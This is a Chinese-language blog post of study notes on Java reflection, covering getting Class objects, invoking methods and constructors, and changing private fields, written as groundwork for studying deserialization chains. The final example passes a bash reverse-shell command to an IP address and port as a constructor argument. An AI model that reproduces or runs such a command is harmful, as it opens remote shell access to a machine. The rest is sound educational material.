本文写于2024-11-14 ,最后修改于2025-3-17

java反射

写在前面

最近花了很长的时间去学习java,前后把Java se ,Java web,spring boot都搞了一遍(还搞了个springboot项目当练手): Bilibili-Film-Area-top-webcrawler。现在终于有心回来搞安全了

最近打算开始学链子的内容,从反射开始一步一步走。反正考完数电无事可做,就当是消磨时间了

举例

例子:

public class testForName {
    public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException {
        Class c = Class.forName("student");
        Class c1 = new student(2,"wm").getClass();
        Class c2 = student.class;
        //c,c1,c2指向同一个Class对象
        System.out.println(c2.getMethod("getName"));
 
        Class c3 = c.getSuperclass();
        System.out.println(c3.getMethod("getJob"));
    }
}
 
class person{
    private String job = "工人";
 
    public String getJob() {
        return job;
    }
 
    public void setJob(String job) {
        this.job = job;
    }
}
class student extends person{
    private int id = 0;
    private String name = "mak";
 
    public int getId() {
        return id;
    }
 
    public String getName() {
        return name;
    }
 
    public student(int id, String name) {
        this.id = id;
        this.name = name;
    }
 
    public void setId(int id) {
        this.id = id;
    }
 
    @Override
    public String toString() {
        return "student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                '}';
    }
}

获取Class对象:

1.通过类名

Class c = Class.forName("student");

Class.forName(“类名”) 即后文的student类

2.通过实例

Class c1 = new student(2,"wm").getClass();

这里是通过Object的getClass方法获得一个对象对应的类的Class对象。大概意思就是通过一个实例化之后的对象找到对应的class对象,有点绕

3.通过类名.class

Class c2 = student.class;

和第一种方法差不多,如果有新的理解我再补充

获取对象中的方法:

System.out.println(c2.getMethod("getName"))

通过getMethod方法获取 student 类中的 getName 方法。

获取父类的方法

Class c3 = c.getSuperclass();
System.out.println(c3.getMethod("getJob"));

c.getSuperclass()意思是获取 student 的父类 Class 对象,这里是 person 类。 通过getMethod方法在 person 类中获得 getJob 方法。

操作对象

接下来以这个类来举例

class student {
    private int id = 0;
    private String name = "mak";
 
    public int getId() {
        return id;
    }
 
    public String getName() {
        return name;
    }
 
    public student(int id, String name) {
        this.id = id;
        this.name = name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
 
    public void setId(int id) {
        this.id = id;
    }
 
    void test(String name){
        System.out.println("hello,"+this.name+" and "+name);
    }
 
    @Override
    public String toString() {
        return "student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                '}';
    }
}

通过反射创造对象:

Class stuclass = Class.forName("student");
student stu = (student)stuclass.newInstance();

首先是获取 student 类的 Class 对象,这个在前面有讲,不在叙述。 student stu = (student)stuclass.newInstance(); 这句话的目的其实是创建一个student类的一个名叫stu实例。 stuclass.newInstance()会通过 student 类的无参构造函数来创建一个 student 类的对象。这里要求 student 类必须有一个无参构造函数。而newInstance() 返回一个 Object 类型,所以需要进行类型转换 (student),将返回的对象强制转换为 student 类型。

通过反射创造带参构造器的对象:

Constructor constr = stuclass.getConstructor(int.class,String.class); //获取类的构造器,参数:构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");

stuclass.getConstructor(int.class, String.class) 用于获取 student 类中接受 int 和 String 两个参数的构造函数。

这里对应了例子中的:

    public student(int id, String name) {
        this.id = id;
        this.name = name;
    }

关于Constructor 对象:

Constructor 对象是 Java 反射机制中的一部分,用于表示类的构造函数。它的存在是为了提供一种方式,允许程序在运行时动态地访问和使用构造函数创建对象实例。与 Method 对象(用于表示普通方法)类似,Constructor 对象专门负责构造函数的管理。

执行对象方法

Method stname = stuclass.getMethod("setName", String.class); //获取类的方法,参数:方法名,方法参数类型的Class
stname.invoke(stu1,"wm"); //invoke(激活):执行函数,参数:(用于执行函数的对象,函数参数)
Method hello = stuclass.getDeclaredMethod("test", String.class);
hello.invoke(stu1,"abc");

stuclass.getMethod(“setName”, String.class):从 stuclass(即 student 类的 Class 对象)中获取 setName 方法。 getMethod() 的第一个参数是方法名,第二个参数是方法的参数类型

stname.invoke(stu1, “wm”):通过反射调用 stname 方法,即调用 stu1 对象的 setName 方法,并传入参数 “wm”。

hello方法同理,不在叙述

操作对象属性

Field stuid = stuclass.getDeclaredField("name");
stuid.setAccessible(true); //对于修改private属性,要先关闭程序安全检测(默认为true)
stuid.set(stu1,"wm1111"); //set修改,参数:要修改属性的对象,修改后的值
hello.invoke(stu1,"def");

通过反射来访问并修改 student 类的私有属性 name,然后再次调用 test 方法

stuclass.getDeclaredField(“name”):从 stuclass(即 student 类的 Class 对象)中获取 name 字段(即属性)

关于set方法:

set() 方法不是 Class 类,而是 Field 类 的方法。Field 类在 java.lang.reflect 包中,用于表示类的属性(字段)。通过 Field 对象的 set() 方法,可以为特定对象的字段设置值。

写在后面

唉,体测

补充于2025.3.15

关于获取构造方法和构造方法

什么是构造方法?

在编程语言中,构造方法(Constructor)是一种特殊的成员方法,用于在创建对象时初始化对象的状态。构造方法的名称与类名相同,并且没有返回值(甚至不能声明为 void )。构造方法的主要作用是为对象分配内存并初始化对象的属性。

public class Person {
    private String name;
    private int age;

    // 无参构造方法
    public Person() {
        this.name = "Unknown";
        this.age = 0;
    }

    // 带参构造方法
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

不加显示声明的构造方法


class Evil {
    private String cmd;

    // 包级私有构造方法
    Evil(String cmd) {
        this.cmd = cmd;
    }
}
  • 访问范围:只有同一包内的类可以访问该构造方法。

  • 应用场景:这种访问权限通常用于库开发或内部实现,限制类的实例化只能在特定的包内进行。

反射调用构造方法

使用反射调用构造方法又两种方式:

Constructor constr = stuclass.getConstructor(int.class,String.class); //获取类的构造器,参数:构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");


Constructor constr = stuclass.getDeclaredConstructor(int.class,String.class); //获取类的构造器,参数:构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");

区别在于:

getConstructor :

  • 该方法用于获取类的公共(public)构造函数。

  • 它只返回那些可以被外部访问的构造函数。

  • 如果没有找到匹配的公共构造函数,会抛出 NoSuchMethodException 。

getDeclaredConstructor

  • 该方法用于获取类的所有构造函数,包括私有(private)、受保护(protected)和包私有(package-private)的构造函数。

  • 它可以返回类中定义的所有构造函数,无论它们的访问权限如何。

  • 如果没有找到匹配的构造函数,也会抛出 NoSuchMethodException 。

示例:

//使用反射访问构造方法

Class evilClass = Class.forName("Evil");
Constructor<?> constructor = evilClass.getDeclaredConstructor(String.class);
Evil Evilcon = (Evil)constructor.newInstance("bash -i >& /dev/tcp/107.174.159.179/23172 0>&1");

//原构造方法

......

Evil(String cmd) {
    this.cmd = cmd;
}